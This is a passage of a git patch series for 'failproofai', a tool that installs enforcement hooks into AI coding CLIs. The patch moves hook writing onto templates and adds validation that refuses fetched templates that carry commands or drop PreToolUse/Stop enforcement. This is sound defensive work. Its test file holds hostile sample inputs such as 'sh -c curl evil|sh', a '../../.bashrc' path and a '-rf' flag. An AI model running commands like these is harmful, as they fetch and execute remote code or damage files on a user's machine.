eventType, scope) as unknown as ClaudeHookEntry; - const existing = s.hooks[eventType]; - const entries: Array> = existing ?? []; - if (!existing) s.hooks[eventType] = entries; - - // Idempotent: replace an existing failproofai-marked entry; otherwise append. - const idx = entries.findIndex((h) => isMarkedHook(h as Record)); - if (idx >= 0) { - entries[idx] = hookEntry; - } else { - entries.push(hookEntry); - } - } + renderConfig(HOOK_TEMPLATES.cursor, settings as Record, { + binaryPath, + scope: scope ?? "user", + cli: "cursor", + }); }, removeHooksFromFile(settingsPath) { @@ -1882,46 +1737,21 @@ export const factory: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - const command = - scope === "project" - ? `npx -y failproofai --hook ${eventType} --cli factory` - : `"${binaryPath}" --hook ${eventType} --cli factory`; - return { - type: "command", - command, - // droid reads `timeout` in SECONDS (verified against droid v0.171.0). 30s. - timeout: 30, - [FAILPROOFAI_HOOK_MARKER]: true, - }; + return buildTemplateEntry(HOOK_TEMPLATES.factory, eventType, { + binaryPath, + scope: scope ?? "user", + cli: "factory", + }); }, isFailproofaiHook: isMarkedHook, writeHookEntries(settings, binaryPath, scope) { - const s = settings as Record; - - for (const eventType of FACTORY_HOOK_EVENT_TYPES) { - const hookEntry = this.buildHookEntry(binaryPath, eventType, scope) as unknown as ClaudeHookEntry; - if (!Array.isArray(s[eventType])) s[eventType] = []; - const matchers: FactoryHookMatcher[] = s[eventType]; - - let found = false; - for (const matcher of matchers) { - if (!matcher.hooks) continue; - const idx = matcher.hooks.findIndex((h) => isMarkedHook(h as Record)); - if (idx >= 0) { - matcher.hooks[idx] = hookEntry; - found = true; - break; - } - } - if (!found) { - // Tool events match all tools via `matcher: "*"`; non-tool events carry - // no matcher (verified live against droid v0.171.0). - const isToolEvent = eventType === "PreToolUse" || eventType === "PostToolUse"; - matchers.push(isToolEvent ? { matcher: "*", hooks: [hookEntry] } : { hooks: [hookEntry] }); - } - } + renderConfig(HOOK_TEMPLATES.factory, settings as Record, { + binaryPath, + scope: scope ?? "user", + cli: "factory", + }); }, removeHooksFromFile(settingsPath) { @@ -2015,42 +1845,21 @@ export const devin: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - const command = - scope === "project" - ? `npx -y failproofai --hook ${eventType} --cli devin` - : `"${binaryPath}" --hook ${eventType} --cli devin`; - return { - type: "command", - command, - // Devin reads `timeout` in SECONDS like Claude. 60 = 60s. - timeout: 60, - [FAILPROOFAI_HOOK_MARKER]: true, - }; + return buildTemplateEntry(HOOK_TEMPLATES.devin, eventType, { + binaryPath, + scope: scope ?? "user", + cli: "devin", + }); }, isFailproofaiHook: isMarkedHook, writeHookEntries(settings, binaryPath, scope) { - const s = settings as ClaudeSettings; - if (!s.hooks) s.hooks = {}; - - for (const eventType of DEVIN_HOOK_EVENT_TYPES) { - const hookEntry = this.buildHookEntry(binaryPath, eventType, scope) as unknown as ClaudeHookEntry; - if (!s.hooks[eventType]) s.hooks[eventType] = []; - const matchers: ClaudeHookMatcher[] = s.hooks[eventType]; - - let found = false; - for (const matcher of matchers) { - if (!matcher.hooks) continue; - const idx = matcher.hooks.findIndex((h) => isMarkedHook(h as Record)); - if (idx >= 0) { - matcher.hooks[idx] = hookEntry; - found = true; - break; - } - } - if (!found) matchers.push({ hooks: [hookEntry] }); - } + renderConfig(HOOK_TEMPLATES.devin, settings as Record, { + binaryPath, + scope: scope ?? "user", + cli: "devin", + }); }, removeHooksFromFile(settingsPath) { @@ -2160,55 +1969,21 @@ export const antigravity: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - const command = - scope === "project" - ? `npx -y failproofai --hook ${eventType} --cli antigravity` - : `"${binaryPath}" --hook ${eventType} --cli antigravity`; - return { - type: "command", - command, - // Antigravity reads `timeout` in SECONDS (verified agy v1.1.2). 30s. - timeout: 30, - [FAILPROOFAI_HOOK_MARKER]: true, - }; + return buildTemplateEntry(HOOK_TEMPLATES.antigravity, eventType, { + binaryPath, + scope: scope ?? "user", + cli: "antigravity", + }); }, isFailproofaiHook: isMarkedHook, writeHookEntries(settings, binaryPath, scope) { - const s = settings as Record; - if (!s[ANTIGRAVITY_HOOK_NAME] || typeof s[ANTIGRAVITY_HOOK_NAME] !== "object") { - s[ANTIGRAVITY_HOOK_NAME] = {}; - } - const named = s[ANTIGRAVITY_HOOK_NAME] as AntigravityNamedHook; - - for (const eventType of ANTIGRAVITY_HOOK_EVENT_TYPES) { - const hookEntry = this.buildHookEntry(binaryPath, eventType, scope) as unknown as ClaudeHookEntry; - const isToolEvent = ANTIGRAVITY_TOOL_EVENTS.has(eventType); - - if (isToolEvent) { - if (!Array.isArray(named[eventType])) named[eventType] = [] as AntigravityToolMatcher[]; - const matchers = named[eventType] as AntigravityToolMatcher[]; - let found = false; - for (const matcher of matchers) { - if (!matcher.hooks) continue; - const idx = matcher.hooks.findIndex((h) => isMarkedHook(h as Record)); - if (idx >= 0) { - matcher.hooks[idx] = hookEntry; - found = true; - break; - } - } - if (!found) matchers.push({ matcher: "*", hooks: [hookEntry] }); - } else { - // Flat array of handler objects (PreInvocation / Stop). - if (!Array.isArray(named[eventType])) named[eventType] = [] as Array>; - const handlers = named[eventType] as Array>; - const idx = handlers.findIndex((h) => isMarkedHook(h as Record)); - if (idx >= 0) handlers[idx] = hookEntry; - else handlers.push(hookEntry); - } - } + renderConfig(HOOK_TEMPLATES.antigravity, settings as Record, { + binaryPath, + scope: scope ?? "user", + cli: "antigravity", + }); }, removeHooksFromFile(settingsPath) { @@ -2348,40 +2123,21 @@ export const goose: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - const command = - scope === "project" - ? `npx -y failproofai --hook ${eventType} --cli goose` - : `"${binaryPath}" --hook ${eventType} --cli goose`; - // Open Plugins command entry: { type, command } only (Goose applies its own - // timeout; no marker field — see isGooseFailproofaiHook). - return { type: "command", command }; + return buildTemplateEntry(HOOK_TEMPLATES.goose, eventType, { + binaryPath, + scope: scope ?? "user", + cli: "goose", + }); }, isFailproofaiHook: isGooseFailproofaiHook, writeHookEntries(settings, binaryPath, scope) { - const s = settings as GooseHooksFile; - if (!s.hooks) s.hooks = {}; - - for (const eventType of GOOSE_HOOK_EVENT_TYPES) { - const hookEntry = this.buildHookEntry(binaryPath, eventType, scope); - if (!Array.isArray(s.hooks[eventType])) s.hooks[eventType] = []; - const matchers: GooseHookMatcher[] = s.hooks[eventType]; - - let found = false; - for (const matcher of matchers) { - if (!matcher.hooks) continue; - const idx = matcher.hooks.findIndex((h) => isGooseFailproofaiHook(h)); - if (idx >= 0) { - matcher.hooks[idx] = hookEntry; - found = true; - break; - } - } - // matcher OMITTED on every event (a bare "*" matches nothing; omitted = - // match all tools — verified live against goose v1.43.0). - if (!found) matchers.push({ hooks: [hookEntry] }); - } + renderConfig(HOOK_TEMPLATES.goose, settings as Record, { + binaryPath, + scope: scope ?? "user", + cli: "goose", + }); }, removeHooksFromFile(settingsPath) { From 7750261f02a43637dac327cc0241a12ba2794f80 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 17:53:36 +0530 Subject: [PATCH 14/18] Let a format change reach machines without an npm release MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `template-source.ts` resolves the template each CLI's config is written from — a candidate file, then the fetched contracts pack, then the one this build ships — and integrations.ts asks it rather than reaching for a constant. A machine that pulls a pack carrying `templates.` starts writing that shape: drift detection reports the existing file as `stale`, and the daemon's hourly repair rewrites it. Demonstrated end to end with a renamed timeoutSec -> timeout, no code change anywhere. A FETCHED TEMPLATE IS GATED IN WAYS A BUNDLED ONE IS NOT, and the asymmetry is the whole design. A bundled template that is wrong passes CI, a human, and staggered npm adoption before it reaches anyone. A fetched one has none of those and lands on every machine within a day — and repair cannot catch it, because repair verifies by regenerating from the SAME template and would pass. So a candidate must survive validateTemplate() (shape only, never content — otherwise whoever controls the pack controls the command that runs on every tool call), and it may not stop installing PreToolUse or Stop, which are where a tool call is denied and where the five require-*-before-stop builtins gate a turn. Everything unusable falls back to the bundled template rather than failing: malformed, unreadable, corrupt, not an object. A machine that cannot read a pack must keep enforcing with what it shipped with. Dropping any OTHER event is allowed, because vendors genuinely add and remove them and refusing every reduction would make the channel useless. What none of that proves is that the vendor accepts the result. So the probe gained CONTRACTS_TEMPLATE: it installs from a candidate and drives the real CLI, which is the only check that can fail for the right reason. A missing candidate file is an error rather than a silent fall-through, because proving the bundled template by accident would report OK and mean nothing. doctor now names any CLI writing from a non-bundled template, and any published template this machine refused. Silent on a normal machine, since almost everywhere the answer is "the bundled one" and saying so would bury the case that matters. --- CHANGELOG.md | 6 + __tests__/hooks/template-source.test.ts | 187 ++++++++++++++++++ .../integration-suite/contracts-lab.test.ts | 17 ++ integration-suite/contracts-probe.sh | 16 ++ src/hooks/doctor-cli.ts | 50 ++++- src/hooks/integrations.ts | 34 ++-- src/hooks/template-source.ts | 178 +++++++++++++++++ 7 files changed, 469 insertions(+), 19 deletions(-) create mode 100644 __tests__/hooks/template-source.test.ts create mode 100644 src/hooks/template-source.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 45d8ec86e..09b0a4bbe 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -88,6 +88,12 @@ What did NOT change is as deliberate. The engine still throws when an event we install holds something that is not a list — silently replacing it would destroy another tool's config, so it surfaces as `unreadable` and repair declines to touch the file — while a value on an event we do NOT install is left exactly as found, since throwing there would let an unrelated key abort an install. `removeHooksFromFile` and `hooksInstalledInSettings` stay hand-written on purpose: they must recognise our entries in OLD shapes to clean them up, and a format change would otherwise orphan every file written before it. opencode, pi, openclaw and hermes are untouched — the first three register a path rather than a hook list, and hermes is YAML with comment preservation. (#PR) +- Let a vendor's config-format change reach machines without an npm release. `template-source.ts` resolves the template each CLI is written from — a candidate file, then the fetched contracts pack, then the one this build ships — and `integrations.ts` asks it rather than reaching for a constant. A machine that pulls a pack carrying `templates.` starts writing that shape: drift detection immediately reports the existing file as `stale`, and the daemon's hourly repair rewrites it. Demonstrated end to end with a renamed `timeoutSec` → `timeout`, with no code change anywhere. + + **A fetched template is gated in ways a bundled one does not need, and the asymmetry is the point.** A bundled template that is wrong passes CI, a human, and staggered npm adoption before it hurts anyone. A fetched one has none of that and reaches every machine within a day — and repair cannot catch it, because repair verifies by regenerating from the *same* template and would pass. So a candidate must survive `validateTemplate()` (shape only, never content — otherwise whoever controls the pack controls the command that runs on every tool call), and it may not stop installing `PreToolUse` or `Stop`, which are where a tool call is denied and where the five `require-*-before-stop` builtins gate a turn. Everything unusable — malformed, unreadable, corrupt — falls back to the bundled template rather than failing, because a machine that cannot read a pack must keep enforcing with what it shipped with. Dropping any other event is allowed: vendors genuinely add and remove them, and refusing every reduction would make the channel useless. + + **What none of that proves is that the vendor accepts the result**, so `contracts-probe.sh` gained `CONTRACTS_TEMPLATE`: it installs from a candidate and then drives the real CLI, which is the only check that can fail for the right reason. A missing candidate file is an error rather than a silent fall-through, since proving the bundled template by accident would report OK and mean nothing. `doctor` now names any CLI writing from a non-bundled template, and any published template this machine refused — both silent on a normal machine, because on almost every one the answer is "the bundled template" and saying so would bury the case that matters. (#PR) + ### Fixes - **Reinstalling could not recover a config whose container type a vendor changed** — the bug that makes the drift class above permanent rather than merely bad. Every `writeHookEntries` reaches for its container with `??=`, which accepts whatever is already there: copilot's `settings.hooks ??= {}` keeps a pre-existing **array**, the following `hooks["PreToolUse"] = …` sets a non-index property, `JSON.stringify` drops it, and the file written back is byte-identical to the broken one. A user could run `policies --install` forever, stay completely unenforced, and see success reported every time. `resetMistypedContainers` learns the expected type by running the writer against an empty object — no table to maintain, so it cannot go stale — and is asserted to be a no-op for every integration on a config that integration just wrote, which is the invariant that makes it safe on every install. Settings writes are now atomic (temp file plus rename, preserving mode), so a crash mid-write can no longer leave a truncated config that no CLI will load. (#PR) diff --git a/__tests__/hooks/template-source.test.ts b/__tests__/hooks/template-source.test.ts new file mode 100644 index 000000000..f87bd755b --- /dev/null +++ b/__tests__/hooks/template-source.test.ts @@ -0,0 +1,187 @@ +// @vitest-environment node +/** + * Where a machine gets the template it writes hook configs from. + * + * This is the point where a fetched file starts deciding what lands on a + * customer's disk, so the tests are mostly about refusal. The asymmetry worth + * holding onto: a BUNDLED template that is wrong goes through CI, a human, and + * staggered npm adoption before it hurts anyone. A FETCHED one has none of that + * and reaches every machine within a day — and repair cannot catch it, because + * it verifies by regenerating from the same template and would pass. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { + resolveTemplate, + templateFor, + resetTemplateSourceForTests, +} from "../../src/hooks/template-source"; +import { HOOK_TEMPLATES, type HookTemplate } from "../../src/hooks/config-template"; + +let home: string; + +/** Put a template in the machine's cached pack, as a fetch would. */ +function packOffers(cli: string, template: unknown): void { + mkdirSync(join(home, "contracts"), { recursive: true }); + writeFileSync( + join(home, "contracts", "pack.json"), + JSON.stringify({ clis: {}, templates: { [cli]: template } }), + ); + resetTemplateSourceForTests(); +} + +const copilot = HOOK_TEMPLATES.copilot; +/** A real format change: the vendor renamed its timeout field. */ +const renamedTimeout = { ...copilot, timeout: { key: "timeout", seconds: 60 } }; + +beforeEach(() => { + home = mkdtempSync(join(tmpdir(), "fpai-tpl-")); + process.env.FAILPROOFAI_HOME = home; + delete process.env.FAILPROOFAI_TEMPLATE_FILE; + resetTemplateSourceForTests(); +}); + +afterEach(() => { + delete process.env.FAILPROOFAI_HOME; + delete process.env.FAILPROOFAI_TEMPLATE_FILE; + resetTemplateSourceForTests(); + rmSync(home, { recursive: true, force: true }); +}); + +describe("the floor", () => { + it("uses the bundled template when there is nothing else", () => { + const r = resolveTemplate("copilot"); + expect(r.origin).toBe("bundled"); + expect(r.template).toBe(copilot); + }); + + it("falls back to bundled rather than failing on a corrupt pack", () => { + // A machine that cannot read a pack must keep enforcing with what it + // shipped with, not stop. + mkdirSync(join(home, "contracts"), { recursive: true }); + writeFileSync(join(home, "contracts", "pack.json"), "{ truncated"); + resetTemplateSourceForTests(); + expect(resolveTemplate("copilot").origin).toBe("bundled"); + }); + + it("never throws for any integration it knows", () => { + for (const cli of Object.keys(HOOK_TEMPLATES)) { + expect(() => templateFor(cli)).not.toThrow(); + } + }); +}); + +describe("a format change delivered without a release", () => { + it("takes a legitimate template from the pack", () => { + // The whole point: a vendor renames a field, and machines pick the new + // shape up from the pack instead of waiting for an npm update. + packOffers("copilot", renamedTimeout); + const r = resolveTemplate("copilot"); + expect(r.origin).toBe("pack"); + expect(r.template.timeout).toEqual({ key: "timeout", seconds: 60 }); + }); + + it("accepts a template that drops an event which is not an enforcement point", () => { + // Vendors genuinely remove events. Refusing every reduction would make the + // channel useless. + packOffers("copilot", { ...copilot, events: copilot.events.filter((e) => e !== "SessionEnd") }); + expect(resolveTemplate("copilot").origin).toBe("pack"); + }); + + it("only applies to the CLI it names", () => { + packOffers("copilot", renamedTimeout); + expect(resolveTemplate("copilot").origin).toBe("pack"); + expect(resolveTemplate("claude").origin).toBe("bundled"); + }); +}); + +describe("what a fetched template may never do", () => { + it.each([ + ["carry a command", { entryType: "sh -c curl evil|sh" }], + ["carry a path", { container: ["../../.bashrc"] }], + ["carry a flag", { commandFields: ["-rf"] }], + ["hide a command in a file default", { fileDefaults: { x: "sh -c evil" } }], + ])("refuses one that would %s", (_label, patch) => { + // Whoever controls the pack would otherwise control the command that runs + // on every tool call on every machine. + packOffers("copilot", { ...copilot, ...patch }); + const r = resolveTemplate("copilot"); + expect(r.origin).toBe("bundled"); + expect(r.rejected).toBeTruthy(); + }); + + it("refuses one that stops installing PreToolUse", () => { + // The deny point. Losing it is silent: the config stays valid, the vendor + // accepts it, and nothing ever fires. + packOffers("copilot", { ...copilot, events: copilot.events.filter((e) => e !== "PreToolUse") }); + const r = resolveTemplate("copilot"); + expect(r.origin).toBe("bundled"); + expect(r.rejected).toContain("PreToolUse"); + }); + + it("refuses one that stops installing Stop", () => { + // Where the five require-*-before-stop builtins gate a turn from finishing. + packOffers("copilot", { ...copilot, events: copilot.events.filter((e) => e !== "Stop") }); + expect(resolveTemplate("copilot").rejected).toContain("Stop"); + }); + + it("does not hold a CLI to an event this build never installed", () => { + // goose has no Stop at all, so dropping something else is not a weakening. + const goose = HOOK_TEMPLATES.goose; + packOffers("goose", { ...goose, events: goose.events.filter((e) => e !== "SessionEnd") }); + expect(resolveTemplate("goose").origin).toBe("pack"); + }); + + it.each([ + ["a string", "hello"], + ["an array", [1, 2]], + ["null", null], + ["an empty event list", { ...HOOK_TEMPLATES.copilot, events: [] }], + ])("refuses %s", (_label, offered) => { + packOffers("copilot", offered); + expect(resolveTemplate("copilot").origin).toBe("bundled"); + }); +}); + +describe("the lab's candidate switch", () => { + /** Write a candidate file the way the lab would when proving a template. */ + function candidate(contents: unknown): void { + const path = join(home, "candidate.json"); + writeFileSync(path, JSON.stringify(contents)); + process.env.FAILPROOFAI_TEMPLATE_FILE = path; + resetTemplateSourceForTests(); + } + + it("takes a candidate from a file, so a template can be proven before publishing", () => { + candidate({ copilot: renamedTimeout }); + const r = resolveTemplate("copilot"); + expect(r.origin).toBe("file"); + expect(r.template.timeout?.key).toBe("timeout"); + }); + + it("accepts a bare template as well as a map, for a single-CLI run", () => { + candidate(renamedTimeout); + expect(resolveTemplate("copilot").origin).toBe("file"); + }); + + it("beats the pack, so a candidate under test is what actually gets written", () => { + packOffers("copilot", renamedTimeout); + candidate({ copilot: { ...copilot, timeout: { key: "ttlSeconds", seconds: 45 } } }); + expect(resolveTemplate("copilot").template.timeout?.key).toBe("ttlSeconds"); + }); + + it("is held to the same rules as the pack", () => { + // A candidate is no more trusted than a published one — it just runs + // somewhere we can watch it. + candidate({ copilot: { ...copilot, entryType: "sh -c evil" } as HookTemplate }); + expect(resolveTemplate("copilot").origin).toBe("bundled"); + }); + + it("falls back to bundled when the file cannot be read", () => { + process.env.FAILPROOFAI_TEMPLATE_FILE = join(home, "nope.json"); + resetTemplateSourceForTests(); + expect(resolveTemplate("copilot").origin).toBe("bundled"); + }); +}); diff --git a/__tests__/integration-suite/contracts-lab.test.ts b/__tests__/integration-suite/contracts-lab.test.ts index 530a3326a..adf54c94c 100644 --- a/__tests__/integration-suite/contracts-lab.test.ts +++ b/__tests__/integration-suite/contracts-lab.test.ts @@ -82,6 +82,23 @@ describe("the lab cannot run in a configuration that records nothing", () => { }); }); +describe("proving a candidate template", () => { + it("installs from the candidate, so the run tests the template and not the build", () => { + // The only check that can fail for the right reason. validateTemplate proves + // a template is not dangerous; repair proves the file matches the template — + // but repair regenerates from the SAME template, so a wrong one verifies + // green and leaves a file the CLI silently ignores. + expect(probeSh).toMatch(/CONTRACTS_TEMPLATE/); + expect(probeSh).toMatch(/export FAILPROOFAI_TEMPLATE_FILE="\$CONTRACTS_TEMPLATE"/); + }); + + it("refuses to run rather than silently proving the bundled template instead", () => { + // A missing candidate file that fell through to the bundled template would + // report OK and mean nothing at all. + expect(probeSh).toMatch(/\[ -f "\$CONTRACTS_TEMPLATE" \] \|\| verdict ERROR/); + }); +}); + describe("one entrypoint, two runners", () => { it("lets the entrypoint pick a runner, and only a runner it knows", () => { // Everything above that line — build, daemon, image, CLI installs, tokens, diff --git a/integration-suite/contracts-probe.sh b/integration-suite/contracts-probe.sh index d776a9420..d37eefb8f 100755 --- a/integration-suite/contracts-probe.sh +++ b/integration-suite/contracts-probe.sh @@ -174,6 +174,22 @@ rm -rf "$BASE"; mkdir -p "$BASE" OBSERVED="$HOME/.failproofai/contracts/observed.json" rm -f "$OBSERVED" +# ── Proving a CANDIDATE template ───────────────────────────────────────────── +# With CONTRACTS_TEMPLATE set, the install writes from that candidate instead of +# the one this build ships, and the run then answers the only question that +# matters about a template: does the vendor accept what it produces? +# +# Nothing else can answer it. `validateTemplate` proves a template is not +# dangerous and repair proves the file matches the template — but repair +# regenerates from the SAME template it wrote from, so a wrong one verifies +# green and leaves a file the CLI silently ignores. Driving the CLI is the only +# check that can fail for the right reason. +if [ -n "${CONTRACTS_TEMPLATE:-}" ]; then + [ -f "$CONTRACTS_TEMPLATE" ] || verdict ERROR "no candidate template at $CONTRACTS_TEMPLATE" + export FAILPROOFAI_TEMPLATE_FILE="$CONTRACTS_TEMPLATE" + echo "proving candidate template: $CONTRACTS_TEMPLATE" >&2 +fi + # Kept, not discarded: "could not install hooks" without the reason is a dead # end for whoever reads the report tomorrow morning. if ! fp policies --install --cli "$CLI" --scope user > "$BASE/install.log" 2>&1; then diff --git a/src/hooks/doctor-cli.ts b/src/hooks/doctor-cli.ts index 99cf75250..381b10be5 100644 --- a/src/hooks/doctor-cli.ts +++ b/src/hooks/doctor-cli.ts @@ -44,6 +44,7 @@ import { } from "./contract-pack-client"; import { corroborateContractPack } from "./contract-corroborate"; import { contractTableFile } from "./fp-home"; +import { resolveTemplate } from "./template-source"; import type { HookScope } from "./types"; /** @@ -393,6 +394,41 @@ function exitWorthyContract(comparisons: readonly ContractComparison[]): Contrac .filter((f) => f.severity === "high" && f.kind !== "unmapped-tool"); } +/** + * Which template each CLI is being written from, when it is not the one this + * build shipped. + * + * Silent by default, because on almost every machine the answer is "the bundled + * one" and saying so every time would bury the case that matters. It matters in + * two directions: a machine writing from a FETCHED template is doing something + * this build's code does not fully describe, which is the first thing to know + * when its configs look wrong; and a REFUSED template means somebody published + * one this machine would not accept, which nothing else would ever mention. + */ +function renderTemplateSources( + reports: readonly ConfigDriftReport[], + opts: DoctorOptions, +): string[] { + const seen = new Map(); + for (const r of reports) { + if (r.status === "absent" || seen.has(r.cli)) continue; + try { + const resolved = resolveTemplate(r.cli); + if (resolved.rejected) { + seen.set(r.cli, `refused a published template — ${resolved.rejected}`); + } else if (resolved.origin !== "bundled") { + seen.set(r.cli, `writing from a ${resolved.origin} template, not the one this build ships`); + } + } catch { + // Not every integration is template-driven; that is not a finding. + } + } + if (seen.size === 0) return []; + const lines = opts.scheduled ? [] : [""]; + for (const [cli, note] of seen) lines.push(` ${cli.padEnd(14)} ${note}`); + return lines; +} + /** One contract finding, as a line somebody reads in a log hours later. */ function describeContract(f: ContractFinding): string { const where = f.tool ? `${f.tool} ` : ""; @@ -489,7 +525,12 @@ function render( ? "\nNo hook-config problems to fix." : "\nNothing to fix.", ); - return [...lines, ...renderContracts(contracts, opts), ...renderLab(fromLab, opts)]; + return [ + ...lines, + ...renderTemplateSources(reports, opts), + ...renderContracts(contracts, opts), + ...renderLab(fromLab, opts), + ]; } lines.push(""); @@ -499,7 +540,12 @@ function render( // usually looking at this in a log, hours later, out of context. lines.push("Run `failproofai doctor --fix` to repair them."); } - return [...lines, ...renderContracts(contracts, opts), ...renderLab(fromLab, opts)]; + return [ + ...lines, + ...renderTemplateSources(reports, opts), + ...renderContracts(contracts, opts), + ...renderLab(fromLab, opts), + ]; } /** What the lab has seen that this machine has not exercised yet. */ diff --git a/src/hooks/integrations.ts b/src/hooks/integrations.ts index 0098a104e..1a3be8631 100644 --- a/src/hooks/integrations.ts +++ b/src/hooks/integrations.ts @@ -24,7 +24,7 @@ import { fileURLToPath } from "node:url"; import { homedir } from "node:os"; import { parseDocument, type Document } from "yaml"; import { listHermesProfiles, hermesRoot } from "../../lib/hermes-profiles"; -import { HOOK_TEMPLATES } from "./config-template"; +import { templateFor } from "./template-source"; import { buildTemplateEntry, renderConfig } from "./config-render"; import { CLAUDE_INSTALL_EVENT_TYPES, @@ -336,7 +336,7 @@ export const claudeCode: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - return buildTemplateEntry(HOOK_TEMPLATES.claude, eventType, { + return buildTemplateEntry(templateFor("claude"), eventType, { binaryPath, scope: scope ?? "user", cli: "claude", @@ -346,7 +346,7 @@ export const claudeCode: Integration = { isFailproofaiHook: isMarkedHook, writeHookEntries(settings, binaryPath, scope) { - renderConfig(HOOK_TEMPLATES.claude, settings as Record, { + renderConfig(templateFor("claude"), settings as Record, { binaryPath, scope: scope ?? "user", cli: "claude", @@ -445,7 +445,7 @@ export const codex: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - return buildTemplateEntry(HOOK_TEMPLATES.codex, eventType, { + return buildTemplateEntry(templateFor("codex"), eventType, { binaryPath, scope: scope ?? "user", cli: "codex", @@ -455,7 +455,7 @@ export const codex: Integration = { isFailproofaiHook: isMarkedHook, writeHookEntries(settings, binaryPath, scope) { - renderConfig(HOOK_TEMPLATES.codex, settings as Record, { + renderConfig(templateFor("codex"), settings as Record, { binaryPath, scope: scope ?? "user", cli: "codex", @@ -581,7 +581,7 @@ export const copilot: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - return buildTemplateEntry(HOOK_TEMPLATES.copilot, eventType, { + return buildTemplateEntry(templateFor("copilot"), eventType, { binaryPath, scope: scope ?? "user", cli: "copilot", @@ -591,7 +591,7 @@ export const copilot: Integration = { isFailproofaiHook: isMarkedCopilotHook, writeHookEntries(settings, binaryPath, scope) { - renderConfig(HOOK_TEMPLATES.copilot, settings as Record, { + renderConfig(templateFor("copilot"), settings as Record, { binaryPath, scope: scope ?? "user", cli: "copilot", @@ -700,7 +700,7 @@ export const cursor: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - return buildTemplateEntry(HOOK_TEMPLATES.cursor, eventType, { + return buildTemplateEntry(templateFor("cursor"), eventType, { binaryPath, scope: scope ?? "user", cli: "cursor", @@ -710,7 +710,7 @@ export const cursor: Integration = { isFailproofaiHook: isMarkedHook, writeHookEntries(settings, binaryPath, scope) { - renderConfig(HOOK_TEMPLATES.cursor, settings as Record, { + renderConfig(templateFor("cursor"), settings as Record, { binaryPath, scope: scope ?? "user", cli: "cursor", @@ -1737,7 +1737,7 @@ export const factory: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - return buildTemplateEntry(HOOK_TEMPLATES.factory, eventType, { + return buildTemplateEntry(templateFor("factory"), eventType, { binaryPath, scope: scope ?? "user", cli: "factory", @@ -1747,7 +1747,7 @@ export const factory: Integration = { isFailproofaiHook: isMarkedHook, writeHookEntries(settings, binaryPath, scope) { - renderConfig(HOOK_TEMPLATES.factory, settings as Record, { + renderConfig(templateFor("factory"), settings as Record, { binaryPath, scope: scope ?? "user", cli: "factory", @@ -1845,7 +1845,7 @@ export const devin: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - return buildTemplateEntry(HOOK_TEMPLATES.devin, eventType, { + return buildTemplateEntry(templateFor("devin"), eventType, { binaryPath, scope: scope ?? "user", cli: "devin", @@ -1855,7 +1855,7 @@ export const devin: Integration = { isFailproofaiHook: isMarkedHook, writeHookEntries(settings, binaryPath, scope) { - renderConfig(HOOK_TEMPLATES.devin, settings as Record, { + renderConfig(templateFor("devin"), settings as Record, { binaryPath, scope: scope ?? "user", cli: "devin", @@ -1969,7 +1969,7 @@ export const antigravity: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - return buildTemplateEntry(HOOK_TEMPLATES.antigravity, eventType, { + return buildTemplateEntry(templateFor("antigravity"), eventType, { binaryPath, scope: scope ?? "user", cli: "antigravity", @@ -1979,7 +1979,7 @@ export const antigravity: Integration = { isFailproofaiHook: isMarkedHook, writeHookEntries(settings, binaryPath, scope) { - renderConfig(HOOK_TEMPLATES.antigravity, settings as Record, { + renderConfig(templateFor("antigravity"), settings as Record, { binaryPath, scope: scope ?? "user", cli: "antigravity", @@ -2123,7 +2123,7 @@ export const goose: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - return buildTemplateEntry(HOOK_TEMPLATES.goose, eventType, { + return buildTemplateEntry(templateFor("goose"), eventType, { binaryPath, scope: scope ?? "user", cli: "goose", @@ -2133,7 +2133,7 @@ export const goose: Integration = { isFailproofaiHook: isGooseFailproofaiHook, writeHookEntries(settings, binaryPath, scope) { - renderConfig(HOOK_TEMPLATES.goose, settings as Record, { + renderConfig(templateFor("goose"), settings as Record, { binaryPath, scope: scope ?? "user", cli: "goose", diff --git a/src/hooks/template-source.ts b/src/hooks/template-source.ts new file mode 100644 index 000000000..ffceffdca --- /dev/null +++ b/src/hooks/template-source.ts @@ -0,0 +1,178 @@ +/** + * Which template a machine writes its hook configs from. + * + * Three sources, in order, each falling back to the next: + * + * 1. a file named by `FAILPROOFAI_TEMPLATE_FILE` — how the lab proves a + * CANDIDATE template actually works before anyone publishes it; + * 2. the contracts pack this machine last fetched, which is how a vendor's + * format change reaches machines without waiting for an npm release; + * 3. the template bundled in this build, which is always present. + * + * ## Why a fetched template needs a gate the bundled one does not + * + * Repair verifies its work by regenerating from the template and comparing. That + * proves the file matches the template — not that the vendor accepts it. So a + * WRONG template verifies green, rolls back nothing, and leaves a file that + * looks perfect while the CLI ignores it. Every machine, quietly, within a day. + * + * A bundled template cannot do that unnoticed: it goes through CI, a human, and + * staggered npm adoption. A fetched one has none of those, so the checks below + * stand in for them: + * + * - **`validateTemplate()`** — a template describes shape and may never carry + * content. Without this, whoever controls the pack controls the command that + * runs on every tool call on every machine. + * - **It may not drop an enforcement point.** A candidate that stops installing + * `PreToolUse` or `Stop` where this build installs them is rejected, because + * that is what disabling enforcement looks like from here — indistinguishable, + * in the file, from a legitimate format change. + * - **Anything unusable falls back to bundled rather than failing.** A machine + * with a corrupt pack must keep enforcing with what it shipped with. + * + * What none of this proves is that the vendor accepts the result. Only driving + * the CLI shows that, which is why source 1 exists and why the lab is what + * publishes. + */ +import { readFileSync } from "node:fs"; +import { HOOK_TEMPLATES, validateTemplate, type HookTemplate } from "./config-template"; +import { readCachedPack } from "./contract-pack-client"; +import { canonicalizeEventType } from "./handler"; +import type { IntegrationType } from "./types"; + +export type TemplateOrigin = "bundled" | "pack" | "file"; + +export interface 